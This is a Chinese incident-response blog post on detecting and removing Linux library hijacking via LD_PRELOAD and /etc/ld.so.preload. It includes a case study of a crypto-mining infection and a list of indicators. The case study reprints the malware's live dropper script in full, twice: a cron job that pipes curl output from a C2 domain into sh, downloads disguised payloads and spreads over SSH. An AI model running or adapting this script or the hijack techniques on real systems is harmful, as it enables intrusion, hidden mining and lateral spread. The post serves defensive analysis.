0×01 菜逼阶段

Linux库文件劫持这种案例在今年的9月份遇到过相应的案例,当时的情况是有台服务器不断向个可疑IP发包,尝试建立连接,后续使用杀软杀出木马,重启后该服务器还是不断的发包,使用netstat、lsof等常用系统命令无法查看到相应的PID。这样的话就无法定位到相应的进程,协助处理,怀疑中了rootkit,使用rkhunter进行查杀,未杀出rootkit。以为是内核的问题导致无法查看到相应进程的PID,就没有深入分析。

0×02 持续菜逼

没过多久,内部同事也扔过来这样一个问题。也是通过netstat无法查看到相应的PID,同事怀疑中了木马,但是使用rkhunter等工具未查出异常,以为情况和前期一样,也没有深入分析与研究。

0×03 深入学习与了解原理

大概过了一个月,内部同事也遇到相同的问题,协助处置,经过学习与分析,发现前期自己的思路完全错误了,以为是内核问题导致的netstat无法查看到PID,并且前期太依赖工具(rootkit)的查杀结果,其实是库文件劫持导致的情况。深入学习与分析后,便有了今天这篇文章。将在处置与分析过程中遇到的各种坑同步给经常做应急的小伙伴,防止后期连续踩坑。

二、库文件劫持原理

前期有大佬做个这个案例的分析,感兴趣的小伙伴可以学习一下,个人感觉总结的非常全面。

https://www.freebuf.com/column/162604.html

引用里面的一张图,Linux动态预加载的流程如下:

 1.  应用程序在通过系统接口调用内核时会预先加载动态链接库, 即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载。 2.  这个库里面主要包括两个内容:LD_PRELOAD和/etc/ld.so.preload 3.  LD_PRELOAD用于预加载环境变量 4.  /etc/ld.so.preload用于预加载配置文件 5.  默认情况下LD_PRELOAD和/etc/ld.so.preload无配置 6.  动态编译:不论程序依赖不依赖动态链接库,都会加载LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载 7.  静态编译:不动态加载系统库文件,直接将程序所需要的各种文件全部集中到该软件平台中,这样就可以解决系统库文件被劫持,中了rootkit等导致连接、网络等被隐藏的情况,常用的工具如busybox

三、库文件劫持技术

前文可以看到Linux预加载的配置文件主要有两个:LD_PRELOAD和/etc/ld.so.preload,因此针对Linux的库文件劫持可以围绕这两个进行展开,目前主流的劫持技术主要有三种:

更改LD_PRELOAD环境变量,加载恶意库文件

/etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

更改默认的库文件/etc/ld.so.preload为其他库文件

其中第二条是目前遇到的最多的,其主要是通过更改/etc/ld.so.preload来预加载其他恶意的库文件来实现对系统命令,如netstat、cat、top等进行劫持,从而到达隐藏进程、连接、性能等目的,这种也是rootkit典型的技术。

3.1LD_PRELOAD劫持

3.1.1 劫持实现

这种劫持实现相对较简单,可以通过以下方法来实现:

 1.  LD_PRELOAD=/lib/f1c8d7.so             将LD_PRELOAD的值设置为要预加载的动态链接库 2.  export LD_PRELOAD            导出环境变量使该环境变量生效 3.一般情况下相关的库文件会被加上隐藏属性

3.1.2 如何检测

1.因为是通过更改环境变量实现的加载恶意库文件,因此可以直接查看环境变量,简单效果好,echo $LD_PRELOAD即可查看到是否存在劫持

2.根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

3.2 /etc/ld.so.preload劫持

3.2.1 如何实现

这种劫持方式是目前遇到的最多的也是最主流的劫持方式,其主要是修改其配置,将其加载一个恶意的库文件来实现劫持。这里面可以使用github里面的工具来实现,详细可参考:

https://github.com/mempodippy/cub3

3.2.2 劫持分析

使用cat无法查看相应的内容;使用busybox可以看到相应的内容,说明存在库劫持。并且其类型是修改/etc/ld.so.preload内容,增加恶意库文件实现劫持。

3.2.3 cub3.so内容

使用strings查看cub3.so内容

3.2.4 调试跟踪

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

3.2.5 如何处置

去掉隐藏属性

chattr -ia/etc/ld.so.preload

rm -rf/etc/ld.so.preload /lib/cub3.so

3.3 修改动态链接器劫持分析

3.3.1 如何实现

正常情况下,相关的系统功能会默认调用/etc/ld.so.preload这个库文件,但是也存在这个默认库文件被修改的情况,所以我们需要分析相关系统命令默认调用的库文件来分析其是否被修改。

正常情况下,相关系统命令调用的默认库文件可以通过strace命令来追踪,其如下所示:

strace -f -e trace=file /bin/ls

可以看到,其默认调用的是/etc/ld.so.preload这个库文件:

下面我们来修改这个默认库文件实现劫持来分析:

劫持使用的脚本为: https://github.com/mempodippy/vlany

创建后门账号test1

3.3.2 功能分析

通过其官方说明里可以看到,其特征就是rootkit的典型特征,具有隐藏进程、用户、网络、后门等。

3.3.3 劫持分析

正常情况下,我们可以看到其默认加载的库为/etc/ld.so.preload

安装完相应的恶意程序以后,其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

3.3.4 如何处置

 1.直接随便写一个库文件到/etc/ld.so.preload中 2.然后再删除/etc/ld.so.preload就可以了

四、如何检测库文件劫持

前面我们看到针对Linux的库文件劫持,常用的方法就三种:

更改LD_PRELOAD环境变量,加载恶意库文件

/etc/ld.so.preload加载恶意的库文件(主流的劫持技术)

更改默认的库文件/etc/ld.so.preload为其他库文件

因此,检测这一块也是针对性的进行检测

4.1分析LD_PRELOAD环境变量

比较简单,直接echo$LD_PRELOAD即可查看是否存在针对环境变量的劫持行为。这里就不再赘述。

4.2 静态查看与动态查看对比检测

原理比较简单,就是使用系统命令与静态工具,如busybox执行的命令进行对比,如果结果一致,这里面就不存在劫持。如果不一致就可能存在劫持。一般情况下,这种针对库文件的劫持会针对所有的系统命令进行劫持,因此我们可以随便选择一个系统命令,通过执行系统命令与使用busybox静态执行的命令进行对比即可发现是否存在劫持,详细实现如下:

4.3 使用strace进行动态跟踪

strace可用来跟踪相应的库文件加载情况,这种方式是相对靠谱的方式。若担心strace这个命令被替换或被植入rootkit可以使用busybox来执行该命令。

4.3.1 分析LD_PRELOAD环境变量劫持

根据Linux的预加载机制,相应的系统命令都会加载LD_PRELOAD环境变量指定的内容,因此可以通过strace来跟踪相应系统命令加载的库文件来分析,我们知道Linux预加载就两个LD_PRELOAD和/etc/ld.so.preload,下面可以看到对/bin/ls进行跟踪发现其打开了/lib/f1c8d7.so,同时提示没有

/etc/ld.so.preload这个文件,因此可以判断是通过环境变量实现劫持的。

4.3.2 分析/etc/ld.so.preload库文件劫持

由于cat命令被劫持了,因此我们可以使用strace来追踪/bin/cat命令的加载情况,可以看到其访问/etc/ld.so.preload,并且打开了/lib/cub3.so这个库文件。

4.3.3 分析修改默认动态链接器来实现劫持

使用strace进行跟踪可以看到其默认库文件被修改为/bin/.Kv8Xqykz,这个时候相关的默认库被修改了

4.4 github脚本

Github上有大佬放了用来检测库文件劫持的脚本,相应的脚本地址如下:

https://github.com/mempodippy/detect_preload

五、遇到的Linux库文件劫持案例

5.1现象

5.1.1 定时任务

系统被植入定时任务,但是通过crontab–r无法删除

相应的C2地址为lsd.systemten.org,通过微步在线查看其已被标识为远控、挖矿木马。

相应的脚本如下:

exportPATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp

chmod 1777 /tmp

echo "*/10 * * * * (curl-fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c'import urllib;printurllib.urlopen(" http://lsd.systemten.org ").read()')|sh"|crontab- cat > /etc/crontab <

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

*/10 * * * * root (curl -fsSL-m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org||python -c 'importurllib;printurllib.urlopen(" http://lsd.systemten.org ").read()'||/usr/local/sbin/638b6d9fb883b8)|sh

EOF

find /etc/cron*|xargs chattr -i

find /var/spool/cron*|xargschattr -i

grep -RE "(wget|curl)"/etc/cron*|grep -v systemten|cut -f 1 -d

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(" http://lsd.systemten.org ").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(" http://lsd.systemten.org ").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

xargs rm -rf

grep -RE"(wget|curl)" /var/spool/cron*|grep -v systemten|cut -f 1 -d

xargsrm -rf

cd /tmp

touch /usr/local/bin/writeable&& cd /usr/local/bin/

touch /usr/libexec/writeable&& cd /usr/libexec/

touch /usr/bin/writeable&& cd /usr/bin/

rm -rf /usr/local/bin/writeable/usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)

a64="img.sobot.com/chatres/89/msg/20191022/78e3582c42824f17aba17feefb87ea5f.png"

a32="img.sobot.com/chatres/89/msg/20191022/2be662ee79084035914e9d6a6d6be10d.png"

b64="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723350789/0.25579108623802416.jpg"

b32="cdn.xiaoduoai.com/cvd/dist/fileUpload/1571723382710/9.915787746614242.jpg"

c64=" https://user-images.githubusercontent.com/56861392/67261951-83ebf080-f4d5-11e9-9807-d0919c3b4b74.jpg "

c32=" https://user-images.githubusercontent.com/56861392/67262078-0aa0cd80-f4d6-11e9-8639-63829755ed31.jpg "

if [ ! -f"638b6d9fb883b8" ]; then

ARCH=$(getconf LONG_BIT)

if [ ${ARCH}x = "64x" ]; then

(curl -fsSL -m180 $a64 -o638b6d9fb883b8||wget -T180 -q $a64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a64'","638b6d9fb883b8")'||curl -fsSL -m180 $b64 -o 638b6d9fb883b8||wget-T180 -q $b64 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b64'","638b6d9fb883b8")'||curl -fsSL -m180 $c64 -o 638b6d9fb883b8||wget-T180 -q $c64 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c64'","638b6d9fb883b8")')

else

(curl -fsSL -m180 $a32 -o638b6d9fb883b8||wget -T180 -q $a32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$a32'","638b6d9fb883b8")'||curl -fsSL -m180 $b32 -o 638b6d9fb883b8||wget-T180 -q $b32 -O 638b6d9fb883b8||python -c 'importurllib;urllib.urlretrieve("http://'$b32'","638b6d9fb883b8")'||curl -fsSL -m180 $c32 -o 638b6d9fb883b8||wget-T180 -q $c32 -O 638b6d9fb883b8||python -c 'import urllib;urllib.urlretrieve("'$c32'","638b6d9fb883b8")')

fi

fi

chmod +x 638b6d9fb883b8

$(pwd)/638b6d9fb883b8 ||./638b6d9fb883b8 || /usr/bin/638b6d9fb883b8 || /usr/libexec/638b6d9fb883b8 ||/usr/local/bin/638b6d9fb883b8 || 638b6d9fb883b8 || /tmp/638b6d9fb883b8 ||/usr/local/sbin/638b6d9fb883b8

if [ -f /root/.ssh/known_hosts] && [ -f /root/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(" http://lsd.systemten.org ").read()')|sh>/dev/null 2>&1 &" & done

fi

for file in /home/*

do

if test -d $file; then

if [ -f $file/.ssh/known_hosts ]&& [ -f $file/.ssh/id_rsa.pub ]; then

for h in $(grep -oE"b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh-oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl-fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org||python -c 'importurllib;print urllib.urlopen(" http://lsd.systemten.org ").read()')|sh>/dev/null 2>&1 &" & done

fi

fi

done

#

5.1.2 本地文件

同时使用rm -rf命令也无法删除相应的文件

5.1.3 网络连接

通过分析网络连接,发现了和前期遇到相同的情况,看不到PID

5.1.4 性能分析

既然是挖矿其CPU肯定会被利用的非常多,但是我们使用TOP命令来看,其CPU利用率非常低,完全看不出有问题。

5.2分析

5.2.1 busybox分析

有了前面分析的基础,这个时候我们再去处置这个问题就相对简单了。Linux库文件劫持这块如果找不对方向处置的话会很头疼,明白了原理和手法以后再去分析就相对简单了。

直接上神器busybox,可以看到两个PID(104110和104025)占了98%以上的CPU

同时,使用busybox查看netstat可以看到前面没有看到的PID主要为104025。个人推测:PID为104110主要是用来进行挖矿的;104025主要是用来进行和矿池通信、分发任务等功能。

5.2.2 库文件劫持分析

直接使用buxybox查看,可以看到/etc/ld.so.preload加载了下面这个库文件/usr/local/lib/libEGID.so,这个库文件肯定是用来进行劫持使用的恶意库文件。

5.3 处置

上面可以看到该恶意程序的功能如下:

 1.  库文件劫持 2.  创建定时任务 3.  禁止删除文件 4.  创建恶意进程 5.  网络外连

因此处置主要是根据上面的行为来进行针对性的处置,处置的前提是要收集好具体的恶意行为,如创建了哪些定时任务、生成了哪些恶意进程等。网上有人写了相应的脚本,我们在处置的时候可以参考相应的脚本,但是里面的进程可能不是脚本里面的进程、恶意的文件目录也可能不是脚本里面的,我们需要根据遇到的具体情况来进行更新与完善,相关的核心点如下:

5.3.1 删除定时任务

5.3.2 删除异常进程

5.3.3 修复动态库

5.3.4 修复启动项

5.4 总结

库文件劫持这种技术平时遇到的相对较少,但是在freebuf上搜了一下,从18年开始就流行了,平时如果没有这方面的积累,遇到以后还是难以处理。这篇文章相当于给大家扫盲,了解了其原理以后再去处置就会得心应手。

六、LOCs

6.1IP

 121.237.8.28 121.237.8.29 121.237.8.31 121.237.8.33 121.237.8.35 121.237.8.36 121.237.8.38 121.237.8.41 121.237.8.42 121.237.8.47 121.237.8.48 121.237.8.50

6.2 域名

 lsd.systemten.org aliyun.one

6.3 MD5

 6e734be6192fc688421641fee6b06c01

最后

觉得此文不错的大佬们可以多多关注或者帮忙转发分享一下哦,感谢!!!!

linux 环境变量文件_应急响应系列之Linux库文件劫持技术分析,有点硬核哟相关推荐

  1. linux环境变量的设置和查看方法,【Linux】Linux环境变量的设置和查看

    Linux的变量种类 按变量的生存周期来划分,Linux变量可分为两类: 1 永久的:需要修改配置文件,变量永久生效. 2 临时的:使用export命令声明即可,变量在关闭shell时失效. 设置变量 ...

  2. python脚本设置linux环境变量_Linux环境变量export方法与修改文件方法的区别

    玩蛇网推荐图文教程:python 列表 要想修改Linux环境变量有两种方法可以实现,但是关于Linux环境变量export方法与修改文件方法的区别你又了解多少呢?设置 Linux 环境变量可以通过 ...

  3. linux怎么设置永久变量,Linux环境变量永久设置方法(zsh)

    1.之前一直使用:export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./home/46005/cuda-9.0/lib64/来设置cuda库路径变量 -----临时的,当 ...

  4. Linux 环境变量配置全攻略,超详细~

    感谢您抽出 . . 阅读本文 Linux是多用户的任务系统,对于每个用户都可以指定特定的用户变量.针对不同程序在不同的环境下运行就需要修改环境变量进行定制,本文介绍 Linux常见的环境变量设置方法, ...

  5. Linux环境变量配置全攻略

    本文转载自: Linux环境变量配置全攻略 - 悠悠i - 博客园 目录 Linux环境变量配置 Linux读取环境变量 Linux环境变量配置方法一:export PATH Linux环境变量配置方 ...

  6. 【Shell脚本进阶】从此彻底搞懂 Linux 环境变量及 Shell 启动文件 /etc/profile 、 ~/.bash_profile 和 ~/.bashrc(建议收藏)

    文章目录 1. 环境变量详解 1.1 全局环境变量 1.2 本地环境变量 1.3 自定义环境变量 1.3.1 自定义本地环境变量 1.3.2 自定义全局环境变量 1.4 删除环境变量 2. 启动文件详 ...

  7. 中修改环境变量_超详干货!Linux环境变量配置全攻略

    Linux环境变量配置 在自定义安装软件的时候,经常需要配置环境变量,下面列举出各种对环境变量的配置方法. 下面所有例子的环境说明如下: 系统:Ubuntu 14.0 用户名:uusama 需要配置M ...

  8. 应急响应 Windows和Linux操作系统(查杀 后门木马,处理 勒索病毒.)

    网络安全--应急响应 应急响应"对应的英文是"Incident Response"或"Emergency Response"等,通常是指一个组织为了应 ...

  9. linux环境变量设置方法,Linux环境变量设置指南

    以配置java环境变量为例 [编辑]修改/etc/profile文件 此法对所有用户生效 在文件末尾加入以下内容: JAVA_HOME=/usr/share/jdk1.5.0_05 PATH=$JAV ...

最新文章

  1. 201521123016《Java程序设计》第12周学习总结
  2. 硬分叉升级越来越近,BCH社区都在做什么?
  3. 虚拟机中使用centos-----2
  4. (视频+图文)机器学习入门系列-第10章 人工神经网络
  5. python实现数据库事务回滚_使用Python脚本实现MySQL误操作的快速回滚
  6. Kafka分布式环境搭建
  7. js显示PHP源代码命令,layedit富文本编辑器中如何添加显示源码功能(代码)
  8. svn .a文件上传不了
  9. Python以字符形式打印双色图片中的文字
  10. 在Linux系统部署docsify工具小记
  11. 【AI视野·今日CV 计算机视觉论文速览 第186期】Fri, 6 Nov 2020
  12. 首款基于龙芯的域名系统服务器发布,首款基于龙芯CPU的国产域名服务器发布
  13. 如何判断时间复杂度和空间复杂度
  14. Android Room框架使用
  15. H264--4--H264编码
  16. 大数据系统管理必备技能
  17. 从0到1的CTF之旅————Crypto(2)
  18. 2021-08-08 WPF控件专题 ListBox控件详解
  19. 安装iptables防火墙
  20. fun6在c语言中什么意思,请教一下,C语言中fun(a,b)是什么意思?

热门文章

  1. Nginx禁止特定用户代理(User Agents)访问(转)
  2. 简单的Java处理事务
  3. 使用Junit单元测试:Cannot instantiate test(s): java.lang.SecurityException: Prohibited package name: java
  4. 合并多个excel——贼快
  5. 鹅厂2020暑期实习第一次一面
  6. 使用Spring JDBC框架连接并操作数据库
  7. 上海day2--两年前最烧脑的环境变量
  8. 红帽RHEL6.8离线环境下升级到RHEL7.3
  9. Django进阶Model篇001 - mysql 数据库的配置
  10. Android提升篇系列:Android项目代码优化实践